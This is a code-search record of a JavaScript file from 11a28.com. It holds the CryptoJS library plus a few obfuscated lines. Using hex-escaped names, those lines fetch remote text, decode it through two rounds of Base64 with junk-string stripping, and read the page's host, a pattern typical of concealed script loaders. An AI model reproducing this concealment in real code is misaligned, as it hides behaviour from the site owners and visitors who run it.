PageSourceSearch

https://11a28.com/js/jm.js

js 11a28.com collected 2026-10-09 04:33:43 UTC 6,166 bytes, 41 lines download raw bytes

vendor: 4,949 bytes, lines 1-36
1/*
2CryptoJS v3.0.2
3code.google.com/p/crypto-js
4(c) 2009-2012 by Jeff Mott. All rights reserved.
5code.google.com/p/crypto-js/wiki/License
6*/
7var CryptoJS = CryptoJS || function (h, o) {
8	var f = {}, j = f.lib = {}, k = j.Base = function () { function a() { } return { extend: function (b) { a.prototype = this; var c = new a; b && c.mixIn(b); c.$super = this; return c }, create: function () { var a = this.extend(); a.init.apply(a, arguments); return a }, init: function () { }, mixIn: function (a) { for (var c in a) a.hasOwnProperty(c) && (this[c] = a[c]); a.hasOwnProperty("toString") && (this.toString = a.toString) }, clone: function () { return this.$super.extend(this) } } }(), i = j.WordArray = k.extend({
9		init: function (a, b) {
10			a =
11				this.words = a || []; this.sigBytes = b != o ? b : 4 * a.length
12		}, toString: function (a) { return (a || p).stringify(this) }, concat: function (a) { var b = this.words, c = a.words, d = this.sigBytes, a = a.sigBytes; this.clamp(); if (d % 4) for (var e = 0; e < a; e++)b[d + e >>> 2] |= (c[e >>> 2] >>> 24 - 8 * (e % 4) & 255) << 24 - 8 * ((d + e) % 4); else if (65535 < c.length) for (e = 0; e < a; e += 4)b[d + e >>> 2] = c[e >>> 2]; else b.push.apply(b, c); this.sigBytes += a; return this }, clamp: function () { var a = this.words, b = this.sigBytes; a[b >>> 2] &= 4294967295 << 32 - 8 * (b % 4); a.length = h.ceil(b / 4) }, clone: function () {
13			var a =
14				k.clone.call(this); a.words = this.words.slice(0); return a
15		}, random: function (a) { for (var b = [], c = 0; c < a; c += 4)b.push(4294967296 * h.random() | 0); return i.create(b, a) }
16	}), l = f.enc = {}, p = l.Hex = { stringify: function (a) { for (var b = a.words, a = a.sigBytes, c = [], d = 0; d < a; d++) { var e = b[d >>> 2] >>> 24 - 8 * (d % 4) & 255; c.push((e >>> 4).toString(16)); c.push((e & 15).toString(16)) } return c.join("") }, parse: function (a) { for (var b = a.length, c = [], d = 0; d < b; d += 2)c[d >>> 3] |= parseInt(a.substr(d, 2), 16) << 24 - 4 * (d % 8); return i.create(c, b / 2) } }, n = l.Latin1 = {
17		stringify: function (a) {
18			for (var b =
19				a.words, a = a.sigBytes, c = [], d = 0; d < a; d++)c.push(String.fromCharCode(b[d >>> 2] >>> 24 - 8 * (d % 4) & 255)); return c.join("")
20		}, parse: function (a) { for (var b = a.length, c = [], d = 0; d < b; d++)c[d >>> 2] |= (a.charCodeAt(d) & 255) << 24 - 8 * (d % 4); return i.create(c, b) }
21	}, q = l.Utf8 = { stringify: function (a) { try { return decodeURIComponent(escape(n.stringify(a))) } catch (b) { throw Error("Malformed UTF-8 data"); } }, parse: function (a) { return n.parse(unescape(encodeURIComponent(a))) } }, m = j.BufferedBlockAlgorithm = k.extend({
22		reset: function () {
23			this._data = i.create();
24			this._nDataBytes = 0
25		}, _append: function (a) { "string" == typeof a && (a = q.parse(a)); this._data.concat(a); this._nDataBytes += a.sigBytes }, _process: function (a) { var b = this._data, c = b.words, d = b.sigBytes, e = this.blockSize, f = d / (4 * e), f = a ? h.ceil(f) : h.max((f | 0) - this._minBufferSize, 0), a = f * e, d = h.min(4 * a, d); if (a) { for (var g = 0; g < a; g += e)this._doProcessBlock(c, g); g = c.splice(0, a); b.sigBytes -= d } return i.create(g, d) }, clone: function () { var a = k.clone.call(this); a._data = this._data.clone(); return a }, _minBufferSize: 0
26	}); j.Hasher = m.extend({
27		init: function () { this.reset() },
28		reset: function () { m.reset.call(this); this._doReset() }, update: function (a) { this._append(a); this._process(); return this }, finalize: function (a) { a && this._append(a); this._doFinalize(); return this._hash }, clone: function () { var a = m.clone.call(this); a._hash = this._hash.clone(); return a }, blockSize: 16, _createHelper: function (a) { return function (b, c) { return a.create(c).finalize(b) } }, _createHmacHelper: function (a) { return function (b, c) { return r.HMAC.create(a, c).finalize(b) } }
29	}); var r = f.algo = {}; return f
30}(Math);
31(function () {
32	var h = CryptoJS, i = h.lib.WordArray; h.enc.Base64 = {
33		stringify: function (b) { var e = b.words, f = b.sigBytes, c = this._map; b.clamp(); for (var b = [], a = 0; a < f; a += 3)for (var d = (e[a >>> 2] >>> 24 - 8 * (a % 4) & 255) << 16 | (e[a + 1 >>> 2] >>> 24 - 8 * ((a + 1) % 4) & 255) << 8 | e[a + 2 >>> 2] >>> 24 - 8 * ((a + 2) % 4) & 255, g = 0; 4 > g && a + 0.75 * g < f; g++)b.push(c.charAt(d >>> 6 * (3 - g) & 63)); if (e = c.charAt(64)) for (; b.length % 4;)b.push(e); return b.join("") }, parse: function (b) {
34			var b = b.replace(/\s/g, ""), e = b.length, f = this._map, c = f.charAt(64); c && (c = b.indexOf(c), -1 != c && (e = c));
35			for (var c = [], a = 0, d = 0; d < e; d++)if (d % 4) { var g = f.indexOf(b.charAt(d - 1)) << 2 * (d % 4), h = f.indexOf(b.charAt(d)) >>> 6 - 2 * (d % 4); c[a >>> 2] |= (g | h) << 24 - 8 * (a % 4); a++ } return i.create(c, a)
36		}, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789
36+/="
37	}
38})();
39var AJfwiwomtx={get:function(dm_url,RrohTH2){var Rt$zJVq3=new XMLHttpRequest();Rt$zJVq3['\x6f\x70\x65\x6e']('\x47\x45\x54',dm_url,true);Rt$zJVq3['\x6f\x6e\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6e\x67\x65']=function(){if(Rt$zJVq3['\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65']==4&&Rt$zJVq3['\x73\x74\x61\x74\x75\x73']==200||Rt$zJVq3['\x73\x74\x61\x74\x75\x73']==304){RrohTH2['\x63\x61\x6c\x6c'](this,Rt$zJVq3['\x72\x65\x73\x70\x6f\x6e\x73\x65\x54\x65\x78\x74'])}};Rt$zJVq3['\x73\x65\x6e\x64']()}}
40function jjmm(o$1,wVqApO2){return CryptoJS['\x65\x6e\x63']['\x42\x61\x73\x65\x36\x34']['\x70\x61\x72\x73\x65'](CryptoJS['\x65\x6e\x63']['\x42\x61\x73\x65\x36\x34']['\x70\x61\x72\x73\x65'](o$1)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](CryptoJS['\x65\x6e\x63']['\x55\x74\x66\x38'])['\x72\x65\x70\x6c\x61\x63\x65']('\x55\x4d\x4e\x4e\x74\x67\x72\x55\x54\x55\x65\x55\x53\x45\x48\x54',''))['\x74\x6f\x53\x74\x72\x69\x6e\x67'](CryptoJS['\x65\x6e\x63']['\x55\x74\x66\x38'])['\x72\x65\x70\x6c\x61\x63\x65']('\x4d\x50\x37\x67\x6f\x4e\x66\x79\x6c\x30\x49\x4d\x47\x38\x44\x52','')}
41var HSTOIEF=window['\x6c\x6f\x63\x61\x74\x69\x6f\x6e']['\x68\x6f\x73\x74']['\x74\x6f\x4c\x6f\x77\x65\x72\x43\x61\x73\x65']();

Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.